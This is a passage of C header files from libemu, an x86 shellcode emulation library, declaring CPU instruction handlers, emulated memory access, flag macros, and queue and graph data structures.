instr_push_0e(struct emu_cpu *c, struct instruction *i); int32_t instr_push_16(struct emu_cpu *c, struct instruction *i); int32_t instr_push_1e(struct emu_cpu *c, struct instruction *i);*/ int32_t instr_push_5x(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_pushad_60(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_push_68(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_push_6a(struct emu_cpu *c, struct emu_cpu_instruction *i); /*int32_t instr_push_0fa0(struct emu_cpu *c, struct instruction *i); int32_t instr_push_0f08(struct emu_cpu *c, struct instruction *i);*/ /* call */ /*int32_t instr_call_9a(struct emu_cpu *c, struct instruction *i);*/ int32_t instr_call_e8(struct emu_cpu *c, struct emu_cpu_instruction *i); /* loop/loopcc*/ int32_t instr_loopcc_e0(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_loopcc_e1(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_loop_e2(struct emu_cpu *c, struct emu_cpu_instruction *i); /* ret */ int32_t instr_ret_c2(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_ret_c3(struct emu_cpu *c, struct emu_cpu_instruction *i); /* stos/stoscc*/ int32_t instr_stos_aa(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_stos_ab(struct emu_cpu *c, struct emu_cpu_instruction *i); /* lods/lodscc*/ int32_t instr_lods_ac(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_lods_ad(struct emu_cpu *c, struct emu_cpu_instruction *i); /* aaa */ int32_t instr_aaa_37(struct emu_cpu *c, struct emu_cpu_instruction *i); /* imul */ /*int32_t instr_imul_69(struct emu_cpu *c, struct instruction *i);*/ int32_t instr_imul_6b(struct emu_cpu *c, struct emu_cpu_instruction *i); /*int32_t instr_imul_0f_af(struct emu_cpu *c, struct instruction *i);*/ /* misc */ int32_t instr_daa_27(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_das_2f(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_aas_3f(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_lea_8d(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cbw_98(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cwd_99(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_wait_9b(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_pushf_9c(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_popf_9d(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sahf_9e(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_lahf_9f(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cmc_f5(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_clc_f8(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_stc_f9(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cld_fc(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_std_fd(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_sldt_0f00(struct emu_cpu *c, struct emu_cpu_instruction *i); /* group 2*/ int32_t instr_group_2_c0(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c0_ror(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c0_rol(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c0_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c0_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c0_sal(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c0_sar(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c0_shr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c1(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c1_ror(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c1_rol(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c1_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c1_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c1_sal(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c1_sar(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_c1_shr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d0(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d0_ror(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d0_rol(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d0_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d0_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d0_sal(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d0_sar(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d0_shr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d1(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d1_ror(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d1_rol(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d1_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d1_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d1_sal(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d1_sar(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d1_shr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d2(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d2_ror(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d2_rol(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d2_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d2_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d2_sal(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d2_sar(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d2_shr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d3(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d3_ror(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d3_rol(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d3_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d3_rcl(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d3_sal(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d3_sar(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_group_2_d3_shr(struct emu_cpu *c, struct emu_cpu_instruction *i); /* repcc */ /*int32_t instr_repcc_f2a6(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f2a7(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f2ae(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f2af(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f36c(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f36d(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f36e(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f36f(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3a4(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3a5(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3aa(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3ab(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3ac(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3ad(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3a6(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3a7(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3ae(struct emu_cpu *c, struct instruction *i); int32_t instr_repcc_f3af(struct emu_cpu *c, struct instruction *i); */ /* test */ int32_t instr_test_84(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_test_85(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_test_a8(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_test_a9(struct emu_cpu *c, struct emu_cpu_instruction *i); /* scas */ int32_t instr_scas_ae(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_scas_af(struct emu_cpu *c, struct emu_cpu_instruction *i); /* cmps */ int32_t instr_cmps_a6(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_cmps_a7(struct emu_cpu *c, struct emu_cpu_instruction *i); /* xchg */ int32_t instr_xchg_86(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_xchg_87(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_xchg_9x(struct emu_cpu *c, struct emu_cpu_instruction *i); /* movsx */ int32_t instr_movsx_0fbe(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_movsx_0fbf(struct emu_cpu *c, struct emu_cpu_instruction *i); /* movzx */ int32_t instr_movzx_0fb6(struct emu_cpu *c, struct emu_cpu_instruction *i); int32_t instr_movzx_0fb7(struct emu_cpu *c, struct emu_cpu_instruction *i); /* fpu esc */ int32_t instr_esc_fpu_dx(struct emu_cpu *c, struct emu_cpu_instruction *i); /* int */ int32_t instr_int_cd(struct emu_cpu *c, struct emu_cpu_instruction *i); #endif /*HAVE_EMU_CPU_FUNCTIONS_H*/ libemu-0.2.0+git20120122+564/include/emu/emu_memory.h0000644000175300017530000000741511706767213020612 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_MEMORY_H #define HAVE_EMU_MEMORY_H #include #include enum emu_segment { s_cs = 0, s_ss, s_ds, s_es, s_fs, s_gs }; struct emu; struct emu_memory; struct emu_string; struct emu_memory *emu_memory_new(struct emu *e); void emu_memory_clear(struct emu_memory *em); void emu_memory_free(struct emu_memory *em); /* read access, these functions return -1 on error */ int32_t emu_memory_read_byte(struct emu_memory *m, uint32_t addr, uint8_t *byte); int32_t emu_memory_read_word(struct emu_memory *m, uint32_t addr, uint16_t *word); int32_t emu_memory_read_dword(struct emu_memory *m, uint32_t addr, uint32_t *dword); int32_t emu_memory_read_block(struct emu_memory *m, uint32_t addr, void *dest, size_t len); int32_t emu_memory_read_string(struct emu_memory *m, uint32_t addr, struct emu_string *s, uint32_t maxsize); /* write access */ int32_t emu_memory_write_byte(struct emu_memory *m, uint32_t addr, uint8_t byte); int32_t emu_memory_write_word(struct emu_memory *m, uint32_t addr, uint16_t word); int32_t emu_memory_write_dword(struct emu_memory *m, uint32_t addr, uint32_t dword); int32_t emu_memory_write_block(struct emu_memory *m, uint32_t addr, const void *src, size_t len); /* segment selection */ void emu_memory_segment_select(struct emu_memory *m, enum emu_segment s); enum emu_segment emu_memory_segment_get(struct emu_memory *m); /* alloc */ int32_t emu_memory_alloc(struct emu_memory *m, uint32_t *addr, size_t len); /*int32_t emu_memory_alloc_at(struct emu_memory *m, uint32_t addr, size_t len);*/ /* information */ uint32_t emu_memory_get_usage(struct emu_memory *m); void emu_memory_mode_ro(struct emu_memory *m); void emu_memory_mode_rw(struct emu_memory *m); #define MEM_BYTE_READ(cpu_p, addr, data_p) \ { int32_t ret = emu_memory_read_byte((cpu_p)->mem, addr, data_p); \ if( ret != 0 ) \ return ret; } #define MEM_BYTE_WRITE(cpu_p, addr, data) \ { int32_t ret = emu_memory_write_byte((cpu_p)->mem, addr, data); \ if( ret != 0 ) \ return ret; } #define MEM_WORD_READ(cpu_p, addr, data_p) \ { int32_t ret = emu_memory_read_word((cpu_p)->mem, addr, data_p); \ if( ret != 0 ) \ return ret; } #define MEM_WORD_WRITE(cpu_p, addr, data) \ { uint16_t val; \ bcopy(&(data), &val, 2); \ int32_t ret = emu_memory_write_word((cpu_p)->mem, addr, val); \ if( ret != 0 ) \ return ret; } #define MEM_DWORD_READ(cpu_p, addr, data_p) \ { int32_t ret = emu_memory_read_dword((cpu_p)->mem, addr, data_p); \ if( ret != 0 ) \ return ret; } #define MEM_DWORD_WRITE(cpu_p, addr, data) \ { uint32_t val; \ bcopy(&(data), &val, 4); \ int32_t ret = emu_memory_write_dword((cpu_p)->mem, addr, val); \ if( ret != 0 ) \ return ret; } #endif // HAVE_EMU_MEMORY_H libemu-0.2.0+git20120122+564/include/emu/emu_cpu_instruction.h0000644000175300017530000000435511706767213022532 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_CPU_INSTRUCTION #define HAVE_EMU_CPU_INSTRUCTION #include struct emu_cpu_instruction; struct emu_cpu; struct emu_cpu_instruction_info { int32_t (*function)(struct emu_cpu *, struct emu_cpu_instruction *); const char *name; struct { uint8_t s_bit : 1; uint8_t w_bit : 1; uint8_t modrm_byte : 4; uint8_t imm_data : 3; uint8_t disp_data : 3; uint8_t level : 2; uint8_t type : 2; uint8_t fpu_info : 1; } format; }; struct emu_cpu_instruction { uint8_t opc; uint8_t opc_2nd; uint16_t prefixes; uint8_t s_bit : 1; uint8_t w_bit : 1; uint8_t operand_size : 2; struct /* mod r/m data */ { union { uint8_t mod : 2; uint8_t x : 2; }; union { uint8_t reg1 : 3; uint8_t opc : 3; uint8_t sreg3 : 3; uint8_t y : 3; }; union { uint8_t reg : 3; uint8_t reg2 : 3; uint8_t rm : 3; uint8_t z : 3; }; struct { uint8_t scale : 2; uint8_t index : 3; uint8_t base : 3; } sib; union { uint8_t s8; uint16_t s16; uint32_t s32; } disp; uint32_t ea; } modrm; uint32_t imm; uint16_t *imm16; uint8_t *imm8; int32_t disp; }; #endif libemu-0.2.0+git20120122+564/include/emu/emu.h0000644000175300017530000000540111706767213017213 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_H #define HAVE_EMU_H #include #include #ifndef MIN #define MIN(a,b) (((a)<(b))?(a):(b)) #endif #ifndef MAX #define MAX(a,b) (((a)>(b))?(a):(b)) #endif struct emu; struct emu_logging; struct emu_cpu; struct emu_fpu; /** * Create a new emu. * * @return on success: the new emu * on failure: NULL */ struct emu *emu_new(void); /** * Free the emu * * @param e the emu to free */ void emu_free(struct emu *e); /** * Retrieve a pointer to the emu's emu_memory. * * @param e the emu * * @return The pointer to the emu's emu_memory. */ struct emu_memory *emu_memory_get(struct emu *e); /** * Retrieve a pointer to the emu's logging facility. * * @param e the emu * * @return pointer to the emu's emu_logging. */ struct emu_logging *emu_logging_get(struct emu *e); /** * Retrieve a pointer to the emu's emu_cpu * * @param e the emu * * @return pointer to the emu's emu_cpu. */ struct emu_cpu *emu_cpu_get(struct emu *e); /** * Set the emu's internal errno * * @param e the emu * @param err */ void emu_errno_set(struct emu *e, int err); /** * Retrieve the emu's errno * * @param c the emu * * @return the emu's errno */ int emu_errno(struct emu *c); /** * Set the emu's strerror message. * * @param e the emu * @param format the errormessage format */ void emu_strerror_set(struct emu *e, const char *format, ...); /** * Retrieve the emu's strerror * * @param e the emu * * @return the strerror */ const char *emu_strerror(struct emu *e); /*int32_t emu_parse(struct emu *e); int32_t emu_step(struct emu *e);*/ #endif // HAVE_EMU_H libemu-0.2.0+git20120122+564/include/emu/emu_cpu_data.h0000644000175300017530000002264111706767213021060 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef EMU_CPU_DATA_H_ #define EMU_CPU_DATA_H_ #include #include #include #include #include enum emu_cpu_flag { f_cf = 0, f_pf = 2, f_af = 4, f_zf = 6, f_sf = 7, f_tf = 8, f_if = 9, f_df = 10, f_of = 11 }; #define CPU_FLAG_SET(cpu_p, fl) (cpu_p)->eflags |= 1 << (fl) #define CPU_FLAG_UNSET(cpu_p, fl) (cpu_p)->eflags &= ~(1 << (fl)) #define CPU_FLAG_TOGGLE(cpu_p, fl) (cpu_p)->eflags ^= 1 << (fl) #define CPU_FLAG_ISSET(cpu_p, fl) ((cpu_p)->eflags & (1 << (fl))) struct emu_track_and_source; #define CPU_DEBUG_FLAG_SET(cpu_p, fl) (cpu_p)->debugflags |= 1 << (fl) #define CPU_DEBUG_FLAG_UNSET(cpu_p, fl) (cpu_p)->debugflags &= ~(1 << (fl)) #define CPU_DEBUG_FLAG_TOGGLE(cpu_p, fl) (cpu_p)->debugflags ^= 1 << (fl) #define CPU_DEBUG_FLAG_ISSET(cpu_p, fl) ((cpu_p)->debugflags & (1 << (fl))) enum emu_cpu_debug_flag { instruction_string = 0, instruction_size = 1, }; struct emu_cpu { struct emu *emu; struct emu_memory *mem; uint32_t debugflags; uint32_t eip; uint32_t eflags; uint32_t reg[8]; uint16_t *reg16[8]; uint8_t *reg8[8]; struct emu_instruction instr; struct emu_cpu_instruction_info *cpu_instr_info; uint32_t last_fpu_instr[2]; char *instr_string; bool repeat_current_instr; struct emu_track_and_source *tracking; }; #define MODRM_MOD(x) (((x) >> 6) & 3) #define MODRM_REGOPC(x) (((x) >> 3) & 7) #define MODRM_RM(x) ((x) & 7) #define SIB_SCALE(x) (((x) >> 6) & 3) #define SIB_INDEX(x) (((x) >> 3) & 7) #define SIB_BASE(x) ((x) & 7) #define PREFIX_ADSIZE (1 << 0) #define PREFIX_OPSIZE (1 << 1) #define PREFIX_LOCK (1 << 2) #define PREFIX_CS_OVR (1 << 3) #define PREFIX_DS_OVR (1 << 4) #define PREFIX_ES_OVR (1 << 5) #define PREFIX_FS_OVR (1 << 6) #define PREFIX_GS_OVR (1 << 7) #define PREFIX_SS_OVR (1 << 8) #define PREFIX_F2 (1 << 9) #define PREFIX_F3 (1 << 10) #define OPSIZE_8 1 #define OPSIZE_16 2 #define OPSIZE_32 3 #define MAX_INT8 127 #define MIN_INT8 -128 #define MAX_UINT8 255 #define MIN_UINT8 0 #define MAX_INT16 32767 #define MIN_INT16 -MAX_INT16 -1 #define MAX_UINT16 65535 #define MIN_UINT16 0 #define MAX_INT32 2147483647 #define MIN_INT32 -MAX_INT32 -1 #define MAX_UINT32 4294967295U #define MIN_UINT32 0 extern int64_t max_inttype_borders[][2][2]; #define INTOF(bits) int##bits##_t #define UINTOF(bits) uint##bits##_t #if !defined(INSTR_CALC) #if BYTE_ORDER == BIG_ENDIAN #define INSTR_CALC(bits, a, b, c, operation) \ UINTOF(bits) operand_a; \ UINTOF(bits) operand_b; \ bcopy(&(a), &operand_a, bits/8); \ bcopy(&(b), &operand_b, bits/8); \ UINTOF(bits) operation_result = operand_a operation operand_b; \ bcopy(&operation_result, &(c), bits/8); #else // ENDIAN #define INSTR_CALC(bits, a, b, c, operation) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operand_b = b; \ UINTOF(bits) operation_result = operand_a operation operand_b; \ c = operation_result; #endif // ENDIAN #endif // INSTR_CALC #if !defined(INSTR_SET_FLAG_ZF) #define INSTR_SET_FLAG_ZF(cpu) \ { \ if (operation_result == 0) \ CPU_FLAG_SET(cpu, f_zf); \ else \ CPU_FLAG_UNSET(cpu, f_zf); \ } #endif // INSTR_SET_FLAG_ZF #if !defined(INSTR_SET_FLAG_PF) #define INSTR_SET_FLAG_PF(cpu) \ { \ int num_p_bits=0; \ int i; \ for ( i=0;i<8;i++ ) \ if (operation_result & (1 << i) ) \ num_p_bits++; \ \ if ((num_p_bits % 2) == 0) \ CPU_FLAG_SET(cpu, f_pf); \ else \ CPU_FLAG_UNSET(cpu, f_pf); \ } #endif // INSTR_SET_FLAG_PF #if !defined(INSTR_SET_FLAG_SF) #define INSTR_SET_FLAG_SF(cpu) \ { \ if (operation_result & (1 << (sizeof(operation_result)*8 - 1))) \ CPU_FLAG_SET(cpu, f_sf); \ else \ CPU_FLAG_UNSET(cpu, f_sf); \ } #endif // INSTR_SET_FLAG_SF #if !defined(INSTR_SET_FLAG_OF) #define INSTR_SET_FLAG_OF(cpu, operand, bits) \ { \ int64_t sx = (INTOF(bits))operand_a; \ int64_t sy = (INTOF(bits))operand_b; \ int64_t sz = 0; \ \ sz = sx operand sy; \ \ if (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \ || sz != (INTOF(bits))operation_result ) \ { \ CPU_FLAG_SET(cpu, f_of); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } #endif // INSTR_SET_FLAG_OF #if !defined(INSTR_SET_FLAG_CF) #define INSTR_SET_FLAG_CF(cpu, operand) \ { \ uint64_t ux = (uint64_t)operand_a; \ uint64_t uy = (uint64_t)operand_b; \ uint64_t uz = 0; \ \ uz = ux operand uy; \ \ if (uz < max_inttype_borders[sizeof(operation_result)][1][0] || uz > max_inttype_borders[sizeof(operation_result)][1][1] \ || uz != (uint64_t)operation_result ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_cf); \ } \ } #endif // INSTR_SET_FLAG_CF #include #define WORD_UPPER_TO_BYTE(to,from) \ memcpy(&(to),((uint8_t *)&(from))+1,1); #define WORD_LOWER_TO_BYTE(to,from) \ memcpy(&(to),&(from),1); #define DWORD_UPPER_TO_WORD(to,from) \ memcpy(&(to),((uint8_t *)&(from))+2,2); #define DWORD_LOWER_TO_WORD(to,from) \ memcpy(&(to),&(from),2); #define QWORD_UPPER_TO_DWORD(to,from) \ memcpy(&(to),((uint8_t *)&(from))+4,4); #define QWORD_LOWER_TO_DWORD(to,from) \ memcpy(&(to),&(from),4); #define DWORD_FROM_WORDS(to, upper, lower) \ memcpy(&to,&lower,2); \ memcpy(((char *)&to)+2,&upper,2); #define QWORD_FROM_DWORDS(to, upper, lower) \ memcpy(&to,&lower,4); \ memcpy(((char *)&to)+4,&upper,4); #define TRACK_INIT_REG32(instruction, reg32) (instruction).track.init.reg[reg32] = 0xffffffff; #define TRACK_NEED_REG32(instruction, reg32) (instruction).track.need.reg[reg32] = 0xffffffff; #define TRACK_INIT_REG16(instruction, reg16) (instruction).track.init.reg[reg16] |= 0xffff << 16; #define TRACK_NEED_REG16(instruction, reg16) (instruction).track.need.reg[reg16] |= 0xffff << 16; #define TRACK_INIT_REG8(instruction, reg8) (instruction).track.init.reg[reg8] |= 0xff << 24; #define TRACK_NEED_REG8(instruction, reg8) (instruction).track.need.reg[reg8] |= 0xff << 24; #define TRACK_INIT_EFLAG(instruction, fl) (instruction).track.init.eflags |= 1 << (fl) #define TRACK_NEED_EFLAG(instruction, fl) (instruction).track.need.eflags |= 1 << (fl) #define SOURCE_NORM_POS(instruction, pos) (instruction).source.norm_pos = pos; #define SOURCE_COND_POS(instruction, pos) (instruction).source.has_cond_pos = 1; (instruction).source.cond_pos = pos; #define TRACK_FPU_LAST_INSTRUCTION 0x0 #define TRACK_INIT_FPU(instruction, what) (instruction).track.init.fpu |= 1 << (what); #define TRACK_NEED_FPU(instruction, what) (instruction).track.need.fpu |= 1 << (what); #define NNY "no need yet" #define SST "16bit memory access is unsupported" #define UNIMPLEMENTED(cpu_p, reason) \ emu_strerror_set((cpu_p)->emu, "The following function is unimplemented %s %s:%i (%s)", __PRETTY_FUNCTION__, __FILE__, __LINE__, reason); \ return -1; #define STUB(cpu_p) \ emu_log((cpu_p)->emu, EMU_LOG_INFO, "The following function is a stub %s %s:%i \n", __PRETTY_FUNCTION__, __FILE__, __LINE__); #endif /*EMU_CPU_DATA_H_*/ libemu-0.2.0+git20120122+564/include/emu/emu_queue.h0000644000175300017530000000444011706767213020421 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_QUEUE_H #define HAVE_EMU_QUEUE_H struct emu_queue_item { struct emu_queue_item *next; void *data; }; struct emu_queue_item *emu_queue_item_new(void); void emu_queue_item_free(struct emu_queue_item *eqi); struct emu_queue { struct emu_queue_item *front; struct emu_queue_item *back; }; /** * Create a new queue * * @return on success: pointer to the new queue * on failure: NULL */ struct emu_queue *emu_queue_new(void); void emu_queue_free(struct emu_queue *eq); /** * Retrieve the pointer to the first element * * @param eq the queue * * @return returns the pointer to the first element */ void *emu_queue_front(struct emu_queue *eq); /** * Enqueue data into the queue. * * @param eq the queue * @param data the data to enqueue */ void emu_queue_enqueue(struct emu_queue *eq, void *data); /** * Dequeue the first element from the queue * * @param eq the queue * * @return pointer to the data of the first element */ void *emu_queue_dequeue(struct emu_queue *eq); /** * Check if the queue is empty * * @param eq the queue * * @return true if the queue is empty, else false */ bool emu_queue_empty(struct emu_queue *eq); #endif libemu-0.2.0+git20120122+564/include/emu/emu_graph.h0000644000175300017530000000642411706767213020402 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include "emu/emu_list.h" struct emu_vertex; header_list_typedefs(emu_edge_root,emu_edge,emu_edge_link); /** * The edge connects two vertexes. * * The following fields of a emu_vertex are to your own purpose: * - data, attach your own data. * * @see emu_vertex * @see emu_graph */ struct emu_edge { struct emu_vertex *destination; emu_edge_link link; uint32_t count; void *data; }; header_list_functions(emu_edges,emu_edge_root, emu_edge, link); struct emu_edge *emu_edge_new(void); void emu_edge_free(struct emu_edge *ee); header_list_typedefs(emu_vertex_root,emu_vertex,emu_vertex_link); header_list_functions(emu_vertexes,emu_vertex_root, emu_vertex, link); enum emu_color { black, blue, cyan, green, grey, magenta, red, white, yellow }; /** * The vertex is a vertex in a graph. * It can have edges to other vertexes, * and has backedges from the vertexes where it has edges too. * The following fields of the emu_vertex are for your own purposes: * - color, usefull for bfs & dfs * - distance, usefull for distance measurement * - data, 